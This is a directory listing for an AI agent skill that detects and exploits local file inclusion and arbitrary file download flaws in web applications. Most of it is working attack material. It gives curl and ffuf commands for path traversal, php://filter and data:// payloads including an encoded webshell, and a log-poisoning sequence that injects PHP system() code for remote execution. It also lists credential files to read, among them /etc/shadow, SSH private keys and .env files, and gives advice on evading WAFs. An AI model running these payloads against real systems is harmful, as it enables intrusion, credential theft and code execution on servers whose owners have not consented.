SuperAPI AI Directory
Partner with us中文AI newsFavorites
Skillsexploit-file-download

exploit-file-download

Security & auditing

View repository

Updated 10-16 05:04

About this skill

Arbitrary File Download and LFI Detection and Exploitation

Authorization Statement

This Skill is intended solely for authorized security testing. Before use, ensure:

  • Obtain explicit written authorization from the owner of the target system
  • The testing scope and authorized content are clearly defined
  • Comply with local laws and regulations

Unauthorized penetration testing is illegal.

Overview

This Skill focuses onarbitrary file downloadandLocal File Inclusion (LFI) type vulnerability detection and exploitation.

Note: many endpoints are actually inLFI mode(the parameter value is included and executed as a filename), rather than being true file downloads. Therefore, the core of this Skill isLFI/file reading capability。

Core Features

1. LFI Vulnerability Detection

Automatically identify the following LFI characteristics:

  • File inclusion mode: the parameter value is used directly as include() orrequire() 's file path
  • Directory traversal mode：../ sequences used to traverse directories
  • Wrapper exploitation：php://filter、php://input , etc.
  • Path length limit: overly long paths may be truncated
  • Special characters：%00 null bytes may bypass extension checks

2. Common LFI Payloads

Type Payload Applicable Scenario
File inclusion ?title=index.php Simple file inclusion test
Path traversal ?title=../../../../etc/passwd Linux directory traversal
Wrapper ?title=php://filter/convert.base64-encode/resource=/etc/passwd Read sensitive file source code
Windows path ?title=C:\\Windows\\win.ini Windows file reading
URL encoding ?title=%2e%2e%2f%2e%2e%2fetc/passwd Bypass simple filtering

3. LFI Exploitation Scenarios

  • Source code reading: read PHP source code for analysis
  • Configuration retrieval: read database configuration files
  • Log poisoning: write to logs via LFI to achieve RCE
  • Image webshell: combined with file upload to get a shell

Tool Installation

Essential Tools

# curl - HTTP 请求工具（通常已预装）
# macOS
brew install curl

# Ubuntu/Debian
apt-get install curl

# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest

# wget - 文件下载工具（通常已预装）
# macOS
brew install wget

# Ubuntu/Debian
apt-get install wget

Optional Tools

# dirsearch - 目录扫描工具
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip install -r requirements.txt

# feroxbuster - 快速目录枚举工具
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash

Usage

Quick Start

# 测试 LFI - 简单文件包含
curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd"

# 测试伪协议读取
curl -s "https://target.com/vul/page.php?file=php://filter/convert.base64-encode/resource=index.php"

# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/vul/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200

Scenario 1: Basic Path Traversal Test

# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../etc/passwd"
curl "https://target.com/vul.php?file=../../etc/passwd"
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../../etc/passwd"

# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
     -w <(seq 1 10 | sed 's/^/\.\.\//') \
     -mc 200 \
     -mr "root:x:0:0"

Scenario 2: Wrapper Exploitation

# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d

# 读取 PHP 源码（避免代码执行）
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d

# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"

Scenario 3: Log Poisoning RCE

# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"

# 步骤 2: 包含日志文件执行代码
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"

# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"

Scenario 4: Batch File Download Test

# 使用 ffuf 测试常见敏感文件
ffuf -u "https://target.com/download.php?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200 \
     -t 50 \
     -o lfi_results.txt

# 使用 wget 批量下载
while read path; do
    wget -q "https://target.com/download.php?file=$path" -O "downloaded_$(echo $path | md5sum | cut -c1-8).txt"
done < lfi_payloads.txt

Scenario 5: Bypass Technique Test

# URL 编码绕过
curl "https://target.com/vul.php?file=%2e%2e%2f%2e%2e%2fetc/passwd"

# 双重 URL 编码
curl "https://target.com/vul.php?file=%252e%252e%252fetc/passwd"

# 空字节截断（PHP<5.3.4）
curl "https://target.com/vul.php?file=../../etc/passwd%00.jpg"

# 路径变体
curl "https://target.com/vul.php?file=....//....//etc/passwd"
curl "https://target.com/vul.php?file=..\\..\\..\\etc\\passwd"

Tool Selection Guide

Scenario Recommended Tool Command Example
Quick single-point test curl curl "URL?file=../etc/passwd"
Batch payload testing ffuf ffuf -u URL -w payloads.txt
File download and save wget wget -O output.txt "URL"
Directory depth enumeration Custom script See the deep testing script below
Response Content Analysis grep/diff grep -i "root:x:0" response.txt

In-depth Testing Script

#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度

URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}

for i in $(seq 1 $MAX_DEPTH); do
    payload=$(printf '../%.0s' $(seq 1 $i))
    response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")

    if echo "$response" | grep -q "root:x:0:0"; then
        echo "[+] 成功！深度：$i"
        echo "$response"
        break
    fi
    echo "[-] 深度 $i: 未匹配"
done

Sensitive File Path List

Linux System

# 系统用户信息
/etc/passwd
/etc/shadow        # 需要 root 权限
/etc/group
/etc/sudoers

# 系统配置
/etc/hosts
/etc/resolv.conf
/proc/version
/proc/self/environ

# Web 应用配置
/var/www/html/.env
/var/www/html/wp-config.php
/var/www/html/config/database.yml
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa

# 日志文件
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog

Windows System

# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\drivers\etc\hosts

# Web 配置
C:\inetpub\wwwroot\web.config
C:\xampp\htdocs\phpMyAdmin\config.inc.php

# IIS 日志
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log

LFI Payload List

Basic Payload

../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/

Encoded Payload

%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c

PHP Pseudo-protocol

php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php

Testing Checklist

Reconnaissance Phase

  • Identify all parameters that may have LFI (file, page, title, include, path, document)
  • Test basic path traversal (../)
  • Confirm the target operating system (Linux/Windows)
  • Test pseudo-protocol availability (php://filter)

Exploitation Phase

  • Read sensitive system files (/etc/passwd, /etc/shadow)
  • Read web application configuration files (.env, config.php)
  • Read PHP source code to analyze application logic
  • Attempt log poisoning to obtain RCE
  • Attempt /proc/self/environ exploitation

Bypass Testing

  • URL encoding bypass (%2e%2e%2f)
  • Double URL encoding (%252e%252e%252f)
  • Unicode obfuscation (%c0%ae%c0%ae%c0%af)
  • Path variants (.., ..//, ..././)
  • Null byte truncation (%00)
  • Extension bypass (file.php.jpg, file.php.)

Alternatives

If the primary tool is unavailable, the following alternatives can be used:

Primary Tool Alternative Description
curl wget wget -qO- "URL" Equivalent tocurl -s "URL"
ffuf gobuster gobuster dir -u URL -w payloads.txt
ffuf dirsearch dirsearch -u URL -e php
curl + grep httpx + nuclei Use nuclei LFI template

Related Resources

  • Technical Documentation: references/lfi_techniques.md - Complete LFI Technical Details
  • PHP Pseudo-protocol: references/php_wrappers.md - PHP wrapper reference
  • Bypass Techniques: references/bypass_techniques.md - Encoding and filter bypass
  • RCE Methods: references/rce_methods.md - Remote code execution summary

Integration with results-storage

After discovering an LFI vulnerability, it can be stored in the database:

python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/download?file=../../etc/passwd" \
  --payload "../../etc/passwd" \
  --file-read "root:x:0:0:root:/root:/bin/bash" \
  --severity Critical \
  --subsystem "Web Application"

Database Location: ./data/results.db

Related Skills: results-storage - Query data, generate reports

Best Practices

  1. Always encode payloads - Use URL encoding to avoid being blocked by WAF
  2. Test from shallow to deep - First test 1-2 levels of traversal, then gradually go deeper
  3. Record response length - Successful responses usually have abnormal length
  4. Use base64 - Use base64 when reading source code to avoid code execution
  5. Do not ignore 403/404 - Some WAFs return fake error codes

Last updated: 2026-03-05 Version: 2.0